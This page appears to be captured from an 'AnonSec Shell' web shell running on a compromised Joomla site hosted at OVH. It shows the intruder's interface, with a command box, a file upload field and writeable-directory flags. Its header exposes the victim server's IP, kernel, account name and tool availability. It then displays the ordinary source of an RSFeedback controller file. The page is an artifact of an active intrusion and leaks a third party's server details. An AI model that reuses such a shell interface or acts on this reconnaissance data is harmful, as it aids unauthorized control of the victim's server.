AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice/components/com_rsfeedback/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice/components/com_rsfeedback/controllers/feedback.php
<?php
/**
* @package RSFeedback!
* @copyright (C) 2010-2018 www.rsjoomla.com
* @license GPL, http://www.gnu.org/licenses/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\MVC\Controller\FormController;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Factory;

class RSFeedbackControllerFeedback extends FormController
{
	protected function allowAdd($data = array()) {
		return (bool) RSFeedbackHelper::getPermissions('feedback_add');
	}

	protected function allowEdit($data = array(), $key = 'id') {
		$permissions = RSFeedbackHelper::getPermissions();

		return (bool) ($permissions['feedback_edit'] || ( RSFeedbackHelper::verifyAuthorship($data['id']) && $permissions['feedback_add'] ));
	}

	protected function getRedirectToListAppend() {
		$append = parent::getRedirectToListAppend();

		$limit	= Factory::getApplication()->input->get('limit', 0, 'int');
		if ($limit)
			$append .= '&limit='.$limit;

		return $append;
	}

	protected function getRedirectToItemAppend($recordId = null, $urlVar = 'id') {
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);
		$itemId	= Factory::getApplication()->input->get('Itemid', '', 'int');
		$cat_id	= Factory::getApplication()->input->get('cat_id', 0, 'int');
		$return	= $this->getReturnPage();

		if ($return)
			$append .= '&return='.base64_encode($return);

		if ($cat_id)
			$append .= '&cat_id='.$cat_id;

		if ($itemId)
			$append .= '&Itemid='.$itemId;

		return $append;
	}

	/**
	 * Get the return URL.
	 *
	 * If a "return" variable has been passed in the request
	 *
	 * @return	string	The return URL.
	 * @since	1.6
	 */
	protected function getReturnPage() {
		$return = Factory::getApplication()->input->getBase64('return', null);

		if (empty($return) || !Uri::isInternal(base64_decode($return))) {
			return Uri::base();
		}
		else {
			return base64_decode($return);
		}
	}

	/**
	 * Method to save a record.
	 *
	 * @param	string	$key	The name of the primary key of the URL variable.
	 * @param	string	$urlVar	The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return	Boolean	True if successful, false otherwise.
	 * @since	1.6
	 */
	public function save($key = null, $urlVar = 'id') {
		$app 			= Factory::getApplication();
		$jform			= $app->input->get('jform', array(), 'array');
		$tmpl			= $app->input->get('tmpl', '', 'cmd');
		$tmpl			= $tmpl ? '&tmpl='.$tmpl : '';
		$cat_id			= $jform['cat_id'];
		$user			= Factory::getUser();
		$permissions	= RSFeedbackHelper::getPermissions();
		$category		= RSFeedbackHelper::getCategoryDetails($cat_id);
		$return_page 	= $this->getReturnPage();
		$allowed 		= true;

		// check anonymous feedback posting
		if ($user->guest && !$category->anonymous_feedbacks && !$jform['id'] == 0) {
			$msg 		= Text::_('COM_RSFEEDBACK_FEEDBACK_ANONYMOUS_FEEDBACK_NOT_ALLOWED');
			$allowed 	= false;
		}

		// check edit permisssion
		if ( ( !( RSFeedbackHelper::verifyAuthorship($jform['id']) && $permissions['feedback_add'] ) || !$permissions['feedback_edit']) && $jform['id'] != 0  ) {
			$msg 		= Text::_('COM_RSFEEDBACK_EDIT_FEEDBACK_PERMISSION_ERROR');
			$allowed 	= false;
		}

		// check add permission
		if (!$permissions['feedback_add'] && !$jform['id'] == 0) {
			$msg 		= Text::_('COM_RSFEEDBACK_ADD_FEEDBACK_PERMISSION_ERROR');
			$allowed 	= false;
		}

		if (!$allowed) {
			$this->setMessage($msg);
		}

		if (!$jform['id'] || ($jform['id'] && $permissions['feedback_moderation'])) {
			// if add new feedback or edit with moderation on redirect to category page
			$return_page = Route::_('index.php?option=com_rsfeedback&view=feedbacks&cat_id='.$cat_id.$tmpl, false);
		}

		$result = parent::save($key, $urlVar);
		if ($result) {
			if ($permissions['feedback_moderation'])
				$this->setMessage(Text::_('COM_RSFEEDBACK_FEEDBACK_SUCCESS_MODERATION_ON'));

			$active = $app->getMenu()->getActive();
			if ($active) {
				$redirect_url_submit = $active->getParams()->get('redirect_url_submit');
				if (isset($redirect_url_submit) && $jform['id'] == 0) {
					$return_page = $redirect_url_submit;
				}
			}

			// Redirect to the return page.
			$this->setRedirect($return_page);
		}

		return $result;
	}

	public function cancel($key = null) {
		$return = $this->getReturnPage();
		// Redirect to the return page.
		if ($return)
			$this->setRedirect($return);
		else {
			$cat_id = Factory::getApplication()->input->getInt('cat_id');
			$cat_id	= !empty($cat_id) ? '&cat_id='.Factory::getApplication()->input->getInt('cat_id') : '';
			// Redirect to categpory list view
			$this->setRedirect(Route::_('index.php?option=com_rsfeedback&view=feedbacks'.$cat_id, false));
		}
	}

	public function get_vote_popup() {
		$input 		 	= Factory::getApplication()->input;
		$feedback_model	= $this->getModel('Feedback');
		$feedback_id 	= $input->get('feedback_id', 0, 'int');
		$user 			= Factory::getUser();

		if (!empty($feedback_id)) {
			// get the feedback object
			$feedback = $feedback_model->getItem($feedback_id);

			// the number of votes the user is allowed to use
			$remaining_votes = $feedback_model->getUserRemainingVotes();

			// the number of votes the user used on this feedback
			$user_votes_on_feedback = $feedback_model->getUserVotesOnFeedback($feedback_id);

			// the maximum limit of votes a user can use on per feedback
			$category_max_votes_feedback = RSFeedbackHelper::getCategoryDetails($feedback->cat_id)->max_votes_allowed;

			$votes_displayed	 = $category_max_votes_feedback;

			if (($remaining_votes + $user_votes_on_feedback) < $category_max_votes_feedback)
				$votes_displayed = abs($remaining_votes + $user_votes_on_feedback);

			// check anonymous voting permission
			$anonymous_voting = RSFeedbackHelper::getCategoryDetails($feedback->cat_id)->anonymous_voting;

			$return = new stdClass();

			$return->message_error  = '';
			if ($user->guest && !$anonymous_voting)
				$return->message_error  = Text::_('COM_RSFEEDBACK_NOT_ALLOWED_TO_VOTE');

			$return->max_allowed_votes	= $votes_displayed;
			$return->votes_used			= (int) $user_votes_on_feedback;

			echo json_encode($return);
			exit();
		}

		exit();
	}

	public function send_votes() {
		return $this->getModel('feedback')->SendVotes();
	}

	public function subscribe() {
		$model 	= $this->getModel('feedback');
		$method = Factory::getApplication()->input->get('method', '', 'string');

		if ($method == 'subscribe')
			echo json_encode($model->Subscribe());

		if ($method == 'unsubscribe')
			echo json_encode($model->Unsubscribe());

		exit();
	}

	public function deleteflag() {
		$model 	 = $this->getModel('feedback');
		$flag_id = Factory::getApplication()->input->get('id', 0, 'int');

		echo json_encode($model->DeleteFlag($flag_id));
		exit();
	}

    public function flag() {
        $model 	    = $this->getModel('feedback');
        $input      = Factory::getApplication()->input;
        $db			= Factory::getDbo();
        $query		= $db->getQuery(true);
        $session 	= Factory::getSession();

        $id			  = $input->get('id', 0, 'int');
        $flag_id	  = $input->get('flag_id', 0, 'int');
        $reason		  = $input->get('reason', '', 'string');
        $dest_cat_id  = $input->get('destination_catid', 0, 'int');
        $consent 	  = $input->get('consent', 0, 'int');
        $tmpl 	      = $input->get('tmpl', '', 'cmd');
        $permissions  = RSFeedbackHelper::getPermissions();
		
        $valid          = true;
        if ($flag_id == 0) {
            $valid = false;
            $this->setMessage(Text::_('COM_RSFEEDBACK_PLEASE_SELECT_FLAG'), 'error');
        }

        if ($flag_id == 4 && $dest_cat_id == 0) {
            $valid = false;
            $this->setMessage(Text::_('COM_RSFEEDBACK_PLEASE_SELECT_CATEGORY'), 'error');
        }

        if ($flag_id == 4 && $dest_cat_id != 0) {
            $query->select($db->qn('name'))->from($db->qn('#__rsfeedback_categories'))->where($db->qn('id').' = '.$db->q($dest_cat_id));
            $db->setQuery($query);
            $comment = $db->loadResult();
        } else
            $comment = $reason;

        if ( empty($comment) && $valid) {
            $valid = false;
            $this->setMessage(Text::_('COM_RSFEEDBACK_ADD_COMMENT_PLEASE'), 'error');
        }

        if ($permissions['captcha_flag'] && $valid) {
            $controller    = new RSFeedbackController();
            $input->set('permission', 'captcha_flag', 'string');
            $valid = $controller->checkCaptcha();
            $this->setMessage(Text::_('COM_RSFEEDBACK_INVALID_CAPTCHA'), 'error');
        }

        if (!$consent) {
            $valid = false;
            $this->setMessage(Text::_('COM_RSFEEDBACK_FEEDBACK_CONSENT_NEEDED_ERROR'), 'error');
        }

        $session->set('com_rsfeedback.flagform.flag_id', $flag_id);
        $session->set('com_rsfeedback.flagform.consent', $consent);
        $session->set('com_rsfeedback.flagform.comment', $comment);

        if ($valid) {
            if ($model->Flag()) {
                Factory::getApplication()->enqueueMessage(Text::_('COM_RSFEEDBACK_FLAG_SUCCESSFULLY_ADDED'));
                
				$session->clear('com_rsfeedback.flagform.flag_id');
                $session->clear('com_rsfeedback.flagform.comment');
                $session->clear('com_rsfeedback.flagform.consent');
				
				echo '<script>setTimeout(function() { window.parent.jQuery(".modal").modal("hide"); window.parent.location.reload();}, 2000)</script>';
            }
        } else {
            $url = Route::_('index.php?option=com_rsfeedback&view=feedback&layout=default_form_flag&tmpl=component&id='.$id, false);
			return $this->setRedirect($url);
		}
    }
}

Anon7 - 2022
AnonSec Team